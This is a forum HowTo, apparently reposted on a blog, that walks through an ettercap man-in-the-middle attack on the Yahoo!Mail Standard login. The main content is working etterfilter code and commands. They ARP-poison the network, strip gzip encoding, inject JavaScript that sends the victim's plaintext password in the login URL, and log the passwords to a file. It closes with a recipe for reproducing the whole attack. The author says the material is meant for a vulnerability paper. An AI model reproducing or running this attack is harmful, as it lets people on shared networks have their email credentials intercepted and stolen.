HowTo do filters (Yahoo example)

http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833

http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter.html

Hello

I've been playing with filters for a little while, and I thought I'd share some info, in the form of a HowTo. This FAQ applies to ettercapNG (0.7+) on linux. It may work on other *nix and *bsd (OS X?). It probably won't work on Windows at the time of writing.

Filters in ettercap are a way of affecting the network traffic, without having to spend ages coding stuff. You can search packets, drop them, inject them, find+replace in them, and log them. You can also print nice messages to the ettercap message window.

Okay, where do we start? What do we want to achieve? I've wanted to break the Yahoo!Mail Standard login for a while now; it just seems silly that it isn't covered by SSL. My plan was to change the javascript in the page so that the password is hashed (like it should be) but is also logged in plain-text. If you know nothing about Yahoo!Mail Standard login then please search the forums; I've posted in a handful of threads to explain how it works (including code listings of the javascript).

First up , I used ethereal to monitor the web traffic that I was interested in. By doing this I noticed that the page was sent compressed with gzip and/or deflate. etterfilter really needs plain text, so first challenge was to change the page into plain HTML and Javascript. I ran burpproxy (www.portswigger.net ) to catch the request send by the client. As expected there was this line:

Code:
Accept-Encoding: gzip, deflate


So, 'why not build a filter to zap those types of encoding?', I thought. According to the etterfilter man page and the examples in /usr/local/share/ettercap, the following was required:

Code:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    "); # note: four spaces in the replacement string
      msg("whited out gzip/n");
   }
}

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       "); # note: seven spaces in the replacement string
      msg("whited out deflate/n");
   }
}



The above two filters match against all tcp traffic going to tcp/80. They then search the packets for the required string, and if there they will replace them with equal-length strings of spaces. They will also print out a short message to the message window to say what they have done.

I created a new file in /tmp, (/tmp/kevfilter) and put the above code snippet into it and saved it.
I then run:

Code:
# cd /tmp
# etterfilter kevfilter


There weren't any errors. Etterfilter outputted filter.ef, which is the compiled filter that ettercap can use.

I ran ettercap, including the filter:

Code:
# ettercap -Tq -M arp:remote -F filter.ef //


I monitored the traffic in ethereal and noticed that the Accept-Encoding line had changed to:

Code:
Accept-Encoding:     ,       


which was cool, but not very neat.

I immediately recoded the filter like this:

Code:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!/n");
   }
}


By changing Accept-Encoding to Accept-Rubbish! the web server will simply ignore the parameters (gzip, deflate, whatever) and fall-back to plain text - Yeehaa. I editted the file, saved it and reran it. It worked.

Second , was to change the javascript. By looking through the page source, I noticed that there was a variable '.e' that was never used. In the hashing function (function hash, unsurprisingly HowTo do filters (Yahoo example) ), the password entered into the form is stored in a var called passwd; this is then hashed with the challenge; and the url containing all the parameters is constructed (in GET form). I simply needed to add the plaintext passwd as a variable to the url. I noticed this bit:

Code:

url += "&.hash=1";
if(js == 0){
  url += "&.js=1";
}
url += "&.md5=1";
//alert("url=" + url);
location.href=url;


You see, parameters are added to the url by simply appending "&PARAM=VALUE" to the current url (using the += operator). The last line prepares the url for sending, so I probably needed to get my stuff in before that line. That commented-out line looked like a suitable target. The javascript line I wanted to add was this:

Code:
url += ".e="+passwd;


which is actually shorter than the commented-out line. I built the filter by adding the following code to the same file as above:

Code:

if (ip.proto == TCP && tcp.src == 80) {
   if (search(DATA.data, "//alert(/x22url=/x22 + url);")) {
      replace("//alert(/x22url=/x22 + url);", "url += /x22&.e=/x22+passwd; "); # note: replacement string is same length as original string
      msg("Sent the passwd in plain-text in '.e'./n");
   }
}


This filter operates on traffic with a source port of tcp/80, rather than a destination port of tcp/80. Note that quotes (") have been replaced with '/x22', which is the hex of the ascii for a quote.

I compiled the two filters with etterfilter (it needs to have the Accept-Encoding filter in there too) and ran ettercap with them. I reloaded the yahoo page, noted in the message window that the substitution had taken place and then dumped the page source. In the hashing function, the commented-out line had been replaced with my hack. I logged into Yahoo (which was successful BTW) and then stopped ettercap. Looking in ethereal, I found my passwd in plain-text in the HTTP GET. Fantastic, but could've been a bit neater.

Lastly then , I added one more filter to the file in order to log the packets that were likely to contain the passwds. This filter looked like this:

Code:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, ".e=")) {
      msg("Packet logged/n");
      log(DATA.data, "/tmp/yahoopasswd.log");
   }
}


It matches on all packets with a destination of tcp/80 (send by the client) and logs all packets that include ".e=". I reran the test with similar results, except this time I could look in the text file /tmp/yahoopasswd.log and see the entered passwd.

So, from the top , to recreate this, you need to do the following:
1) create a new file called /tmp/kevfilter and enter the following text:

Code:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!/n");
   }
}

if (ip.proto == TCP && tcp.src == 80) {
   if (search(DATA.data, "//alert(/x22url=/x22 + url);")) {
      replace("//alert(/x22url=/x22 + url);", "url += /x22&.e=/x22+passwd; "); # note: replacement string is same length as original string
      msg("Sent the passwd in plain-text in '.e'./n");
   }
}

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, ".e=")) {
      msg("Packet logged/n");
      log(DATA.data, "/tmp/yahoopasswd.log");
   }
}


2) Compile this file with etterfilter:

Code:
# cd /tmp
# etterfilter kevfilter


3) Run ettercap with this filter:

Code:
# ettercap -Tq -M arp:remote -F filter.ef //


4) Reload the Yahoo!Mail login page and then login.
5) stop ettercap ('q') and look in /tmp/yahoopasswd.log for the password.

I'll be including most of this HowTo in a paper on Server-provided Client-side Scripting Modification Vulnerabilities. Hacking yahoo logins is small-fry. Any web page using client-side javascript (or any other client-side interpreted script) for security reasons is subject to unauthorised modification and should be avoided or coded with this in mind.

BTW Please remember that you can only filter traffic on the wire; so ettercap will not filter traffic generated by the host ettercap is running on. In short, you need two machines to test this, one for ettercap and one for web browsing.

Kev

上一篇:如何在Linux下通过ldapsearch查询活动目录的内容


下一篇:JSX